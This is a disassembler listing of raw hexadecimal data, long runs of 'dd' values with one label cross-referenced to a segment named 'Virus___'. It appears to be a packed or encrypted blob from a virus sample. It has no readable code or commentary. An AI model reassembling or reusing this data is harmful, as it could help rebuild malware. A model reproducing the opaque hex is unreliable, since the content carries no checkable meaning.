		dd 5A2F943Bh, 7B8D701h,	860FCA10h, 514AB0EBh, 0FE005F78h
		dd 0B55D33DDh, 3AEC29Eh, 71F76A40h, 2B831F5h, 0EE007E84h
		dd 50A25CCAh, 8067E2D6h, 8E3C8A66h, 0C4B003C7h,	0F032A933h
		dd 4EB337h, 3A57803Fh, 796ECC3Bh, 5CC77F0Bh, 0DC7C00BEh
		dd 0FC65ED84h, 0A4181CA5h, 0EB7A81D9h, 0F85D52CCh, 4413415Ah
		dd 84001119h, 7BC3EE45h, 0EF430332h, 0B047BD46h, 5233D7D0h
		dd 873A4F01h, 18F1CE92h, 5780A247h, 1082504h, 8ABCADA9h
		dd 30D12D8Fh, 0E201A3F0h, 1BE6C199h, 30F02E92h,	3EB20409h
		dd 83F65BC4h, 9DB8A3CEh, 5D481981h, 58AA006Fh, 2F84E59h
		dd 0A0E25CB7h, 53A92900h, 95F1C4E1h, 0CE03A8BCh, 80874736h
		dd 0C0E402h, 166F42EBh,	0DD9A0FA4h, 81D67D39h, 0BA308A9h
		dd 0C1F0C032h, 0B46600FFh, 7AEA4378h, 1701EE2Bh, 4D4567E5h
		dd 0EBED32B7h, 0B09C92D4h, 98400D8h, 8211E07Fh,	5B12A2A1h
		dd 50004CC0h, 0D2E27540h, 78290074h, 11814969h,	0E5F257DFh
		dd 40797F25h, 0F8396F90h, 0D6E0A05Eh, 0DC8D000Ah, 91256255h
		dd 8205BD99h, 56D5BC42h, 3759EC80h, 0C05FE463h,	3875B730h
		dd 612D8267h, 0A7B8A4C8h, 87367E80h, 0CF9E3EE3h, 8557128Fh
		dd 907C09Dh, 0AD331958h, 87E53D00h, 0B413BD06h,	628603DDh
		dd 0A4ACB741h, 245CBE88h, 552F3100h, 98571EA3h,	0E523A4Fh
		dd 0D81C83Dh, 89DACD25h, 9EC440F7h, 0F53FCFE6h,	809D0064h
		dd 3A23D92Eh, 0F2120078h, 0BE444313h, 2700859Fh, 60D2B37Fh
		dd 98F6CBh, 66219239h, 2E475EF4h, 0D438C02h, 0B52A1Ch
		dd 0F5E73FAEh, 63908097h, 0F86024F9h, 86D00AB9h, 3DF899F4h
		dd 157FD100h, 0DE1BA5E3h, 4E3C3D61h, 0E4608A03h, 0CC8900E4h
		dd 19EF846Ah, 98012952h, 4620FF73h, 0DE60B031h,	0C45800EEh
		dd 3DB208CFh, 7A1C47CEh, 4CB39AAFh, 0A3D6B883h,	21660F1Ah
		dd 8052553Bh, 6DFE5B44h, 236B0A00h, 6AEAA9A8h, 37D31DCFh
		dd 8088939Bh, 6BAF004h,	0C854900h, 4777EDA8h, 6C98D6h
		dd 29427A5Ah, 7336A7B1h, 58CAE431h, 0B06C8C02h,	59F43193h
		dd 87DC2014h, 958C2501h, 0CE3024EAh, 0EC7A087Ch, 0A4F01A9h
		dd 41C9C3D0h, 4AD970E9h, 5CFA7F00h, 84460174h, 758F00E2h
		dd 0B6F6643h, 0A04B498Ah, 56CD1822h, 603800FCh,	3B1A5B7Ch
		dd 0E700EF79h, 4D1DA0D5h, 0E5A925h, 3C91ED74h, 116B8729h
		dd 42DC100h, 7D942B0Eh,	56B50084h, 0CC0D33F4h, 0A52F78BDh
		dd 0BAD0238Ah, 6092E2A3h, 1B68B34h, 7518AFC7h, 474C6A3Ah
		dd 7309D0A0h, 0CD247881h, 0E40058BAh, 334F0213h, 46B30118h
		dd 0AB0D8D45h, 1B90FC88h, 0E20A0B00h, 6F2BE31Dh, 5897C17h
		dd 0AFF07DEEh, 0F48C002Ah, 80648131h, 9C11B31Eh, 70395DC0h
		dd 0F5AA2E16h, 0DEF37880h, 79E722FFh, 4D4E9400h, 0E9EFE548h
		dd 0A38A00C6h, 3E6B3310h, 0DA4A08C3h, 0E821CC83h, 555936h
		dd 8B983B86h, 0C457D9F3h, 1000F71h, 0FA74F291h,	1D604870h
		dd 1C7EC7Fh, 87AC3311h,	1F6630BBh, 0B3FC9700h, 0D3889E7Dh
		dd 0C01E90C3h, 0B5E88B56h, 0B1009875h, 9ECC9D61h, 0E2671C97h
		dd 809B1832h, 35FF309Ch, 0D62D3000h, 0EF8A4740h, 22FA0708h
		dd 0F0B74F56h, 9AA6129Bh, 0C62980C0h, 9F34A5h, 0EB606E07h
		dd 707E0B26h, 47E63200h, 0B59C33B8h, 5803AB0h, 0FAB2520Bh
		dd 4CA0B489h, 72793454h, 6CBAAC07h, 7EC316BBh, 0F5684C1Ch
		dd 7099FC00h, 661218B9h, 0FA73F02h, 0E06FC436h,	768BF71h
		dd 14B7F74Ch, 0BCE270F8h, 0F30673Ch, 497B32CCh,	0BDA40180h
		dd 50BEA16Dh, 80072F87h, 0A5C8907Dh, 0AD383860h, 0DB3590Fh
		dd 0EE0756FCh, 9FA0A2C9h, 54BAB29Bh, 279BC95h, 30E0FDC6h
		dd 0DB80174Dh, 0A2149BA4h, 0A4C0E54Fh, 17C7ED70h, 9F6B8Dh
		dd 962E5A5Ch, 86004FA7h, 7C434253h, 24157556h, 0A5B281h
		dd 5B0ED378h, 3D185E82h, 9E591A4Ch, 0F54FB7h, 3B284894h
		dd 8B183EECh, 5920EDD9h, 45715870h, 0AB9BCA09h,	4B75E900h
		dd 8000990Eh, 0E9C9B34Dh, 95A69Ah, 1AA24C89h, 4176F7B6h
		dd 0B1253A1Fh, 870386CEh, 0F3100AFFh, 0A135E6h,	0FA1ACB09h
		dd 8C3DEB98h, 87DDDA00h, 6A775EABh, 639500F0h, 97296466h
		dd 0CC3FBABDh, 6BE88E36h, 80F3A9DAh, 0AD93EFF0h, 3B5E2C41h
		dd 0B1DB054Fh, 0D744A00Dh, 0B34258h, 0D57E4308h, 4B100554h
		dd 0B1CCC02Dh, 0A40042C8h, 656678E1h, 0F25B3243h, 41056067h
		dd 3E908F28h, 0F79CE700h, 0F9A23ABEh, 2CCD5273h, 0F582E500h
		dd 52FB47A9h, 8148EF0Fh, 5EC906h, 0E2DBB6A2h, 1666020Eh
		dd 18033AC0h, 98005878h, 0CAEA8DDh, 784457Fh, 0F4E916A0h
		dd 4BB11049h, 8707F7CEh, 0ABC77EF0h, 0FB4239E1h, 3F575FCCh
		dd 0E900B6A9h, 0FEC87F74h, 8973C491h, 0A0C04E4Bh, 7057EC3h
		dd 1513568h, 0C2E3E099h, 8D0053FBh, 0FA9D2506h,	718C419Fh
		dd 75FD006Eh, 0D7E6A342h, 1009F711h, 80DC9096h,	0B08C1AABh
		dd 0F278B06Dh, 0F8CB4C3Ch, 1E5B5000h, 0E3A017BCh, 0D6007779h
		dd 7AA0170h, 475DA38h, 8B96043Dh, 0E528E05Ch, 870E547Ah
		dd 0C36C1C9Eh, 0B012E969h, 17949501h, 64A3CEh, 0B28D231Ch
		dd 1300FE71h, 3C419083h, 9ECDA47Ah, 3F510000h, 0DA185D58h
		dd 0E8B14E27h, 8CD2B0h,	30CFACF3h, 420A95Bh, 13490D3Dh
		dd 520008EEh, 0C93DD5D7h, 5B6D2626h, 0DB380000h, 6F9FA9E3h
		dd 370C9003h, 8AA63D9Ch, 0BB004016h, 0DAAF0014h, 91385781h
		dd 63D8F4Ah, 0D1CA816Bh, 5D7EDFF7h, 354970h, 0C02E421Eh
		dd 74F176EAh, 822CB177h
		dd 4A00B804h, 56D022DCh, 8870EF62h, 0E0A2DE6h, 92168C80h
		dd 0B707D880h, 4F2C846Bh, 67875A10h, 23D024BFh,	40301EB7h
		dd 0F0986A06h, 686094F1h, 0A13AA55Ah, 64CB1FECh, 2D82404Bh
		dd 336CBD7Ah, 23904C00h, 3931EB1h, 1FB30077h, 2CE163BFh
		dd 0C924DDF6h, 17003DADh, 8FD87D7Eh, 8C502C83h,	0B6AB07B0h
		dd 0C157C52Bh, 5018C871h, 395BDBF4h, 1E8524Ch, 41F8F971h
		dd 1080514Fh, 47F5C0CFh, 0F4C84C4h, 364D025Dh, 0DCFB4386h
		dd 158E00F4h, 72887463h, 8C91800h, 47F953BDh, 7B6B00F6h
		dd 0B9937A4Ah, 310ED3B6h, 20DC56A8h, 5C6D571Fh,	0D2E40304h
		dd 73F367DDh, 0C43B2F91h, 0DA04CE7Ch, 3C5F6B69h, 0C6012CB8h
		dd 0B6B4EC6Ah, 606CDEh,	0FC81A549h, 0A1F580h, 43891405h
		dd 40C62446h, 86D5D603h, 9023AC8Fh, 512C44h, 89F2C2ADh
		dd 5E15BB90h, 4D005070h, 0FAB3F965h, 0B8F19D78h, 3E840050h
		dd 0DFFFE92Dh, 8A3BBFA5h, 3CED873Fh, 191010E7h,	1E4EA97h
		dd 0EFA630B0h, 0E86DC0DCh, 9403F2C3h, 71349809h, 0C137F80Ah
		dd 79A97680h, 0FE40773Dh, 1B37AADh, 0DF9DAC4Ah,	70C448FDh
		dd 0C54CC8B0h, 80A02164h, 64B294C3h, 3E0F27D2h,	68A93495h
		dd 90570015h, 331D660Bh, 87FCD43Ah, 30C76273h, 0FB842DE0h
		dd 0FB90BE1h, 34D8D131h, 53061C0Fh, 91CD804Dh, 9A701Eh
		dd 8628A6CAh, 6EC5F27Ch, 4A746490h, 534E6A16h, 0E026DC80h
		dd 6BFE0081h, 8425E21Fh, 8A121474h, 70E0E61Bh, 6D391C31h
		dd 2D00BE45h, 43052E52h, 7800299Fh, 894C1D5Eh, 0D24E72h
		dd 888DA2F3h, 4BACDC1Ah, 58271E00h, 51FCEBF2h, 16F5F6DAh
		dd 0B441BFB4h, 810934BCh, 0D0501780h, 4A2A3DA8h, 0E9F3DE8Eh
		dd 0FCA04C49h, 0D00FC2AFh, 0EB0D400h, 10DA9E9Ah, 0FF50C097h
		dd 26921C96h, 0AAD03C64h, 0EADFD080h, 772B0066h, 0C753C43Dh
		dd 0E90118CEh, 0A6E6960Bh, 9C433A9Fh, 6FFED090h, 39137C0Ch
		dd 0E20E27C1h, 52BF17h,	0AE2BD148h, 5100488Eh, 80E051Bh
		dd 27743769h, 3461128Bh, 9920021h, 0C39B178Ch, 2C44C0ACh
		dd 0E9160128h, 96ECC0CDh, 0BBD01960h, 0DB39C3C5h, 6C7A0398h
		dd 0A0EA214Ch, 13C03C4Ah, 0A0E18A41h, 0F10078D0h, 0E53580BEh
		dd 3125C8Fh, 0FCA79D3Eh, 78005FC6h, 0A27F0685h,	0BD8DCA48h
		dd 0C77BB880h, 0D82864E2h, 0E804AF15h, 0F5244BEEh, 80290BDh
		dd 0F0DB784Ah, 0E1D2B4B8h, 6D01F898h, 0D348E53h, 0ACD4F042h
		dd 0DCD90073h, 433FB4E5h, 48C05168h, 0A13116E0h, 0A5142639h
		dd 21F70B8Ah, 0FE5E7800h, 1A000B6Ch, 607B649Eh,	19133273h
		dd 713DE4F7h, 2A1C6099h, 8CAB2D00h, 7C0BB0BCh, 96E63155h
		dd 60936A20h, 150CD26h,	7F00D6A8h, 0E64F8EBh, 68252Dh
		dd 0EE82E9F1h, 1F86E616h, 0FB49021Bh, 0F5DFA898h, 0CE2E1C9Eh
		dd 13837A95h, 484D626Ch, 79E890E5h, 56158B80h, 7EB8D673h
		dd 18565D5Fh, 1E3A0C83h, 52543D80h, 0F62400A7h,	90FBD3E4h
		dd 0D5553Bh, 1B109BC4h,	0E0D67071h, 5A3C005Bh, 50B30F73h
		dd 2E28FD25h, 0D75EBCDEh, 18E4C8h, 54ED0E7Fh, 9789D032h
		dd 526360Bh, 0F0082B2Eh, 0DE420158h, 1C9C1680h,	0D4E02161h
		dd 0C2004944h, 0CF2F2467h, 0E6A8A09h, 32CD3164h, 2A6370A0h
		dd 162C7901h, 9A00D059h, 0DF90347Ah, 0F610C058h, 7D648B99h
		dd 12901458h, 4CE0E580h, 9A4E715Bh, 0C5F9020Ch,	84F21683h
		dd 0B9C35C48h, 5B334200h, 8FACC1B2h, 4A273FEh, 541CF335h
		dd 0D58CE0C4h, 87A72250h, 0BCFBE017h, 0DABFD401h, 20DE73EBh
		dd 0EC774A8Dh, 614EE000h, 0B5195B85h, 58C37A8Bh, 4400A008h
		dd 1FBD25DCh, 8A00D178h, 7F943952h, 2620C7D2h, 86B9AEh
		dd 245EF858h, 342C5AE3h, 0B4176C99h, 0DF72CC01h, 84E7A454h
		dd 0DC9C11C1h, 16FB4C60h, 30566D6h, 8412E71Ch, 0E86B51F1h
		dd 0C200C5E8h, 0C7F05442h, 0A6B8BBh, 0D3F42005h, 0D4669199h
		dd 6080B44Ah, 44ABDFh, 0B0BD4743h, 0B60C8C46h, 544060DDh
		dd 31F50DF4h, 0C0090ACh, 5B53DA7h, 233D8921h, 0E42900F3h
		dd 934E92FDh, 70CE28B4h, 44EA0394h, 2D22196Eh, 0D4B829A3h
		dd 3601F353h, 2CCDE73Fh, 59202F87h, 80DF5CAFh, 0E67D5C02h
		dd 0D91226h, 780DFDDEh,	0D1409FD8h, 2B9F60FEh, 280F00C7h
		db 90h
		db 0B3h, 76h
byte_50561F	db 0FFh			; DATA XREF: Virus___:005509C0o
		dd 44015233h, 0CFD6B2ACh, 12A7F37h, 2FFC1F74h, 817CF8A7h
		dd 0CB7E690Eh, 423E21C3h, 28345F8Ah, 0D3704F4h,	80FE5545h
		dd 2693D944h, 0AC4A4024h, 14CDC002h, 42105624h,	0ECC0FEFDh
		dd 0EC73A9FBh, 0B07C500h, 2F4E4B3Eh, 452B01F2h,	0C9979FEFh
		dd 475440C6h, 7A00B8F0h, 0BE559C33h, 0E85E6Dh, 421DF477h
		dd 0CE0AA54Bh, 667B7800h, 0EFC86702h, 5F4C0028h, 0CCC376E1h
		dd 0BA1E9BE0h, 3700FE1Fh, 91ED420Eh, 348B1C20h,	0F1285757h
		dd 7E2C25C4h, 63D3C41Ch, 2EAEB8C0h, 5458050Bh, 0E06C465Fh
		dd 29E26584h, 6436037h,	0B84A1690h, 89390027h, 0DD467849h
		dd 0B0005982h, 86BCF87Fh, 8F5247h, 69180EADh, 9C7273B7h
		dd 15A8C407h, 0AA10DFA0h, 0B25B8E17h, 0EA9300B0h, 0D9313B24h
		dd 7E24D1DDh, 18033A49h, 0F7476766h, 0AC08187Bh, 28AB0233h
		dd 0C9A87E6Dh, 604D0469h, 2B0BC626h, 10E9E20Dh,	1CF395Ch
		dd 410CCB2Fh, 0FCAB0F05h, 0F11C6447h, 589E01D9h, 6B6E63C0h
		dd 0F49A44CDh, 44D5588Ch, 0D0CA3184h, 0F78E20D8h, 1BFCC400h
		dd 85D52B44h, 680F0CE2h, 3CC03825h, 8E073079h, 0D630C29h
		dd 847D7240h, 0F1690201h, 5EE4433Eh, 0DD8A2848h, 2D3A2B00h
		dd 46353F5Bh, 1EE6FC48h, 1FAE73FEh, 6AD2ACh, 27290B68h
		dd 0BE00E3C4h, 0C3770C7h, 17B320D2h, 0D0D9ADC9h, 0C3A8595Ch
		dd 7E444EFh, 2CA04C0h, 58412998h, 4DE0302Fh, 23F73E0Ah
		dd 872DA453h, 209B1D7Bh, 0CFC0E720h, 120B0027h,	6BC9CBC8h
		dd 0F438E99Fh, 0ACD0D803h, 17F4B27Ah, 0B1647861h, 1E3450F8h
		dd 0D92CD337h, 3551D86Fh, 0F0C06C12h, 9401556Fh, 66B92670h
		dd 0AC40C6E9h, 18D8323Eh, 51E2873Ah, 15127558h,	704DAB96h
		dd 0A83058AFh, 8A249CDh, 0A0F62602h, 0BCC9F32Ch, 1C10E270h
		dd 24A4B2A1h, 18C0703h,	30BA3462h, 8198288h, 0EC70EDA0h
		dd 0C7DB0680h, 0F99A81B8h, 5F81E48h, 5F505407h,	0FFB110FCh
		dd 61D887B5h, 24A08A4Fh, 16AD29B8h, 0CFF502DFh,	0CEA600F0h
		dd 0F496B82h, 36880059h, 98C5646Dh, 5C000111h, 0B7DEEE3Bh
		dd 204A249h, 2FD74CB2h,	0A4C09040h, 884ABE9Fh, 308A0E0h
		dd 1862805h, 0E9F857FBh, 9C9898B0h, 0BDEF3500h,	8411DF0Ch
		dd 0C31F7BA7h, 255D8F41h, 0E4B24A98h, 0B4F03700h, 1176BFB6h
		dd 0CD14068Dh, 60E546FDh, 442DB306h, 71E381h, 870E7267h
		dd 80059648h, 0CE3DF37Eh, 51FD1C2Ch, 21309580h,	0A929D83Bh
		dd 306EDCFCh, 3779EEC4h, 0B9C60805h, 0B44B9984h, 0CB2A801Dh
		dd 1F9C0525h, 0C163F7CEh, 42AE2872h, 0AC4A6E55h, 9242A8F6h
		dd 0B15CC04Ah, 2A8A1D08h, 0ABB600FFh, 5C0FF32Bh, 0A6CA5800h
		dd 654EA586h, 55050080h, 0ED98265Bh, 21030C89h,	0F490222Ch
		dd 9323F0C3h, 0C897016Bh, 55584EA4h, 2CB2DCE7h,	0A66BC00h
		dd 9FDE6483h, 0ECB04Bh,	9198C8C7h, 5DF56522h, 0ACF25500h
		dd 0F030E22Fh, 14830029h, 0B4E3978Eh, 88F2FD74h, 71057698h
		dd 0B0F73510h, 0C504A080h, 0E86201Dh, 0CF341B00h, 587761F9h
		dd 0AF2A00B1h, 0E9F48B26h, 0BF0017F1h, 0FDD47D1Eh, 61FE14h
		dd 96CAE04Eh, 0CE919511h, 5E24A200h, 0C2FC6A0Eh, 823610AFh
		dd 2A060875h, 45F802Eh,	95EE6DB4h, 85009875h, 7F9F1328h
		dd 5B12CF15h, 0E910974Bh, 0C91D04DCh, 137B4E80h, 2A423F65h
		dd 48EC6A5Ah, 0D03805Eh, 2B4FF472h, 0D4590EC8h,	0EB9E2305h
		dd 0D000FCC2h, 9A1CDDB0h, 376E1EE3h, 0F8D500FEh, 0F19E4B29h
		dd 0ED00097Ch, 0A6443F0Fh, 712AC653h, 16E2F01Bh, 6355Bh
		dd 0B096B9A0h, 6D00FFC5h, 0B5ADC04Ah, 77E56EE1h, 3D3E00AAh
		dd 85F90B82h, 0A81D9F9Ah, 0E0805219h, 95E54A80h, 0FABC245Fh
		dd 0FB3C0034h, 84C84C22h, 0C7CC9000h, 0A2D1ACA1h, 9A390B1Fh
		dd 8C727760h, 73170109h, 2148A0DAh, 0BC751CBBh,	0D24580FCh
		dd 2E7457DDh, 0F3FBA1Ch, 8861003Ah, 0C9BD4BC4h,	2EB66533h
		dd 0D48E8120h, 54A020ABh, 0F6808101h, 66926B91h, 9B09A063h
		dd 7400B026h, 58A2F631h, 809C2148h, 2A92877Eh, 8FBF0396h
		dd 15ADC8F5h, 0A8E8EFD8h, 0C3033B0h, 898CA8ECh,	0DC8D1938h
		dd 704210EBh, 0AB0795E3h, 0BDA096EAh, 2208883Ah, 5C4100A7h
		dd 0ADDB4B8h, 0C2D4B300h, 6CADA62Fh, 0C4BB28D6h, 23C60094h
		dd 185A40C1h, 4D769F3Fh, 141959h, 65BD594Eh, 0E248E76h
		dd 9EB6E2B4h, 0B1FDCCC0h, 0F1005E5Dh, 49EBD5F0h, 16F7DA75h
		dd 37DD0D66h, 0FE40C810h, 3D101C6Fh, 0B4058A1Dh, 0D8436E8Eh
		dd 0F62CCB0Ch, 0D42444FCh, 2AD51D51h, 0AE38FC68h, 0A7638780h
		dd 0B2C6B1B9h, 51FB4E00h, 7D05F116h, 288C6012h,	8B9F8696h
		dd 21EE504h, 0E0B4ED49h, 914D1F95h, 6E5EB00Ah, 0A02C2660h
		dd 75823CF1h, 41437C63h, 10247E74h, 95F428E0h, 0B2F600D0h
		dd 7F7BD492h, 0C560A89Eh, 0C1252820h, 66C4A2CBh, 31D14EC4h
		dd 14AEF4ECh, 0F7064CEh, 0E8876899h, 0CF5BFEE0h, 3002034h
		dd 0C38CAA9Eh, 277D9313h, 7C397439h, 88543991h,	0EB0D87ECh
		dd 7C50A911h, 78ABC533h, 48FEC254h, 0FBB823Ch, 95962686h
		dd 19EC4F26h, 2CF06C4Ah, 4011C2BCh, 10EA245Dh, 807EA485h
		dd 0F473E998h, 0F53E1505h, 30C90168h, 7480C72Ah, 9040E0D0h
		dd 48AF7C00h, 78A71370h, 0FA8D02A8h, 89A477BDh,	591CEC7Ch
		dd 9C83A580h, 0C340DC21h, 0C0FCC519h, 7D9515A0h, 10ADDF04h
		dd 38E0FB94h, 677E0812h, 87AC5960h, 6DB7F830h, 0FA953F2Dh
		dd 5E7E2860h, 5C906158h, 0B5B2E03h, 9706BB34h, 5AE7A45Fh
		dd 0FE51D8B9h, 1ECA85D8h, 57509104h, 0A09C499Ah, 0CCA01044h
		dd 0F500B288h, 2278834Ah, 0F97745Dh, 6BBF2BB1h,	50C800D6h
		dd 1DB22063h, 0ED00967Dh, 33F0A36Dh, 3F1EE4h, 0F4474E29h
		dd 744BC164h, 8350099Dh, 0A052C7E3h, 5DA3D2h, 0B90F6E02h
		dd 76A30A5h, 90886F03h,	0A8628987h, 0AFD959h, 0BC09D415h
		dd 9F85C1F6h, 7D09207Bh, 724BB160h, 0A5B7FD8h, 6EBADD13h
		dd 506042DCh, 0E7FC0755h, 759C14B0h, 9087FFC6h,	607E734Ah
		dd 0AE06B4CFh, 613D0B00h, 8A56580Eh, 0B4B650F3h, 0B52EE08h
		dd 1B9CCED4h, 0A1C9B000h, 0FC026125h, 342D026Ch, 57BA8038h
		dd 3F7720BDh, 429789D2h, 663080A7h, 0D301341Dh,	83BAC1FDh
		dd 0FC40A198h, 0B5CCC518h, 4A946098h, 80E69712h, 0D01C85Ch
		dd 0AA4589A9h, 54852C4h, 167029Fh, 1700EC09h, 2C491F8Ch
		dd 0C3DC0024h, 0A2DDA9h, 0B3A389F6h, 27407BEFh,	0CF8F520Eh
		dd 0C390A007h, 8C54AFh,	68CBF77Ch, 450F042Dh, 300F8477h
		dd 67CF4366h, 0F3B5F651h, 992BB4C0h, 168C9850h,	0D92F45h
		dd 0C8EC8068h, 0E000F43Ah, 3F4F22FFh, 733E20h, 34ACA3Ch
		dd 0C41C09F0h, 0E63BFFF2h, 0AE6C0C0Fh, 0A8B122h, 5E04B43Eh
		dd 7E84746Dh, 565097F7h, 0E0F9900Bh, 49272E9Ch,	9400D014h
		dd 352DB4A9h, 650BEF61h, 686BA4h, 97990ED0h, 73A80E70h
		dd 8B3EDB13h, 0B3851607h, 39E09076h, 0C4002B3Ch, 340392F0h
		dd 653BF7Ch, 91B3B624h,	11072825h, 0DAB1A938h, 3882AC1h
		dd 0AB5960h, 2B4BC202h,	0D1A06156h, 0D71FD0FCh,	0DFC76920h
		dd 12D07B78h, 0F4637h, 0B529726Ah, 0B3C25F26h, 0F09F7E26h
		dd 0D05A1F80h, 0A91EAF2h, 0CF7568E6h, 0AC7284F4h, 49CCD0C5h
		dd 0D605BB47h, 803BB30Bh, 1F30E0A8h, 7584C67Ah,	4A4339h
		dd 0E25E237Eh, 1F69224h, 0B13413CDh, 0D483633Eh, 2500D7D6h
		dd 3C7BF40h, 566BC0h
		dd 6F1D12F9h, 0D2A0B18Eh, 80BF0A73h, 51CBA34h, 381E0945h
		dd 8C02D1D3h, 0AF552C83h, 8950A000h, 92FDC9h, 0C56607B9h
		dd 0E2EA03DBh, 0A6EF6901h, 1BE4A142h, 3E7999D0h, 9489D63Dh
		dd 0EC824CC9h, 85C21803h, 5DD80155h, 0C443C86Fh, 0BA3BD0B0h
		dd 5E7B0977h, 7C5E6283h, 0EBEFF702h, 44807445h,	8EA89053h
		dd 69C2640Dh, 54F111F0h, 26FC0014h, 0EDC12D33h,	4FFE7100h
		dd 8862A3Ah, 0AC0197E6h, 0E874707Ah, 0B09F4A4Eh, 122AB64h
		dd 34A5DBD5h, 0E8DC8147h, 741DF83Eh, 0CB42843Dh, 60E0CE33h
		dd 0B0717834h, 0A0FE64h, 31DC7F7Ch, 0BB5F54E2h,	0F5044402h
		dd 80E35CC0h, 8208E1F8h, 21D30BD5h, 4C8C3460h, 18B0E4A6h
		dd 9BF05400h, 6525DE5Fh, 691C0B3Ah, 0B080D8FBh,	48479A7Fh
		dd 0BC126D12h, 9100ACE8h, 52B3F141h, 0A90017D7h, 0BF9A5918h
		dd 0EC0A56h, 0D906123Dh, 0E58E0E29h, 0A20010B0h, 68E9D3EAh
		dd 84A193h, 3E27D5B2h, 7F60E7Ch, 0C2404700h, 32B81A3h
		dd 64D600AFh, 3D9CDACFh, 6A001D96h, 0F24B63C8h,	18014F80h
		dd 0A0C72640h, 0EB4E3BAAh, 0FF060C40h, 0FA4611h, 0FB538E63h
		dd 586C3373h, 0BCAB7424h, 0E8FEB40h, 4BA60087h,	0C348DD95h
		dd 80004EDCh, 5CCDCEE2h, 1E5A3B19h, 0E71E680Dh,	14007470h
		dd 0DB70E29Fh, 0B0BA6E4h, 0C53512A4h, 0A200AA8Bh, 2AC87939h
		dd 4DA03700h, 1999843Ah, 724B0061h, 2D18A8E0h, 0C5EC56ADh
		dd 12C8D005h, 9880735Fh, 0B07648DFh, 0D0064DE4h, 498B7C50h
		dd 6400C4E4h, 0A42FAB30h, 4B5040E1h, 25000680h,	838A4360h
		dd 95474446h, 5E118A60h, 0F7B70E04h, 9AFD766h, 58566CE4h
		dd 8F3FA180h, 0C5E57Bh,	90184549h, 5C501016h, 3B4AB200h
		dd 0F69B3CA1h, 6665056Dh, 0B0A834CBh, 0B73ED844h, 0C8A04E11h
		dd 0FE1CB0A5h, 8EF7E0D1h, 0F970EF00h, 0DE2560C3h, 0A3B8387Bh
		dd 8EF217h, 611E93FDh, 69E2D25Dh, 0B1418200h, 0F99A3F49h
		dd 0E207024Fh, 732AC3C1h, 0AB5160F0h, 9CBB3010h, 0E0000CE8h
		dd 0B54D382Dh, 0E6E2ECh, 128F58A6h, 6834C93h, 0CE2C6B00h
		dd 88671ED9h, 84809DD1h, 9378B2EFh, 6900CA7Fh, 0F53666A1h
		dd 588CAFA5h, 1300C4BDh, 0CE604D77h, 0A00104B8h, 0C0D353EDh
		dd 0B7609E8Ch, 5AE3EB4h, 8F4DE002h, 80E9DD5Bh, 74286F44h
		dd 2D317373h, 58E3C1FAh, 91C838h, 45B7FE9h, 0D19F6EBh
		dd 7FDE40Bh, 139DC150h,	0CFD0E801h, 0A0634EDDh,	657B97E8h
		dd 28948478h, 0C39B6FE0h, 935703ABh, 36953DBFh,	377BD2D0h
		dd 98EC4695h, 41983251h, 75DBB38h, 30A72154h, 0B000B43Ah
		dd 696E3538h, 36CD1464h, 123D93B1h, 88C96F80h, 0E0AA11A1h
		dd 3020B737h, 0A480F0C4h, 2C9F4A97h, 1807DDAh, 83C3FA71h
		dd 2654243Ah, 0F148058h, 851EA3AAh, 3C8810BEh, 0B0620BEFh
		dd 188352C5h, 74F09806h, 0C101F044h, 900FD1EBh,	6CE8DAA5h
		dd 0A13A00A2h, 6849A081h, 0C0009717h, 13824C67h, 0EECCFEAFh
		dd 0F098004Bh, 8EF09CFh, 7E002E0Fh, 3A3B6152h, 90BA9CC0h
		dd 7B3007E4h, 0A3F75CBEh, 76EA1782h, 0A7A88055h, 0D57AD8h
		dd 2B36A3DDh, 0A09E68BCh, 4DB5853Dh, 0F40C0358h, 0FB324909h
		dd 2D71E7A1h, 0E4207543h, 522C00C3h, 8CA4F242h,	4100ABC8h
		dd 43ED510Fh, 0EB516BBh, 96E9E5DCh, 0A80A3D80h,	1500E0D7h
		dd 0F17E382Eh, 0B67320h, 0B5FDC211h, 0B204135Ch, 0F678BD00h
		dd 5A4BB1A3h, 7C8F0963h, 58028BA5h, 205F9390h, 0D2AE330Ch
		dd 0C52C12D3h, 3828040Eh, 93B9408Ch, 289D4803h,	4A9859A0h
		dd 1CB02043h, 0CB002749h, 0EE4551B1h, 6C1ABAh, 0CF47F256h
		dd 240D880Bh, 5F209100h, 5EFFBB57h, 0C8B3124Fh,	0E3284137h
		dd 6F2B1AA8h, 8017C40Fh, 0F973216Fh, 92F82552h,	0B5005CD0h
		dd 0A367C53h, 0AA5E58h,	978F24DCh, 6DBA183Ch, 32EFA400h
		dd 0A358496Ch, 0CD7B9Eh, 484D802Ah, 88B216A9h, 1108571Eh
		dd 44ACFAC0h, 3CFCC7AEh, 393A508Bh, 8C806B38h, 8FFF5B28h
		dd 0AC0056E8h, 1E3F75F5h, 1DA1BE0Ch, 43036E34h,	5583908Ah
		dd 7BDA6DB8h, 87041490h, 0B9889CEEh, 0EA011C0Fh, 80CCE348h
		dd 3D0AAC34h, 2C3B76DDh, 829604h, 0A83F228Fh, 8C023255h
		dd 536921B1h, 794F66Ah,	0F05E3505h, 3AC0D8BDh, 14765724h
		dd 7E40D704h, 56259400h, 7F5DE598h, 0E0305C0h, 0B0E8C2D3h
		dd 0D4A5292Fh, 234D8013h, 84029E03h, 0A8C79FCFh, 2810C025h
		dd 8B2D3824h, 36A5F100h, 0ABFB67EBh, 0B1968514h, 231A09D0h
		dd 0D52002C7h, 0C5D440B6h, 3E0D09CCh, 0D000B70Ch, 1062EE1Fh
		dd 245EA602h, 783DA93Bh, 9EAF0024h, 0AC74CD8Eh,	0F0391560h
		dd 2BA500F1h, 0ECEEE721h, 0FA438E8h, 0E10947Dh,	0DE203429h
		dd 0C4CD0B82h, 14360500h, 743763Dh, 285A00F6h, 3B23D49Eh
		dd 0A33B0EE6h, 0D95698E2h, 5ABE0270h, 10688A1Ch, 130029E5h
		dd 65320317h, 8204A615h, 0F839E1F4h, 0C7BE8880h, 0C0F326D2h
		dd 79803EC8h, 6962DA6Ch, 40FC61Bh, 0E7999B72h, 74A114FAh
		dd 0AC20B5CAh, 10777D4Eh, 0F691B0h, 8A2287A4h, 0A8A3C4h
		dd 770ACC9Ah, 0FB1BA2D3h, 3C65B8C0h, 7E2D4858h,	0E4700F18h
		dd 0F360B54Bh, 4C5484F6h, 73028D7Eh, 0D4C23F98h, 4C6C7018h
		dd 0A50000E8h, 25625158h, 0F5FCC72Eh, 0E83D7D2Eh, 4B6BC180h
		dd 5098FB8Bh, 3CFF068h,	0A0F6ECDh, 0B074A62Ch, 0A8265102h
		dd 80AB8FB5h, 0C33E13E0h, 0D45B0BDBh, 0E282A1DDh, 80F8B858h
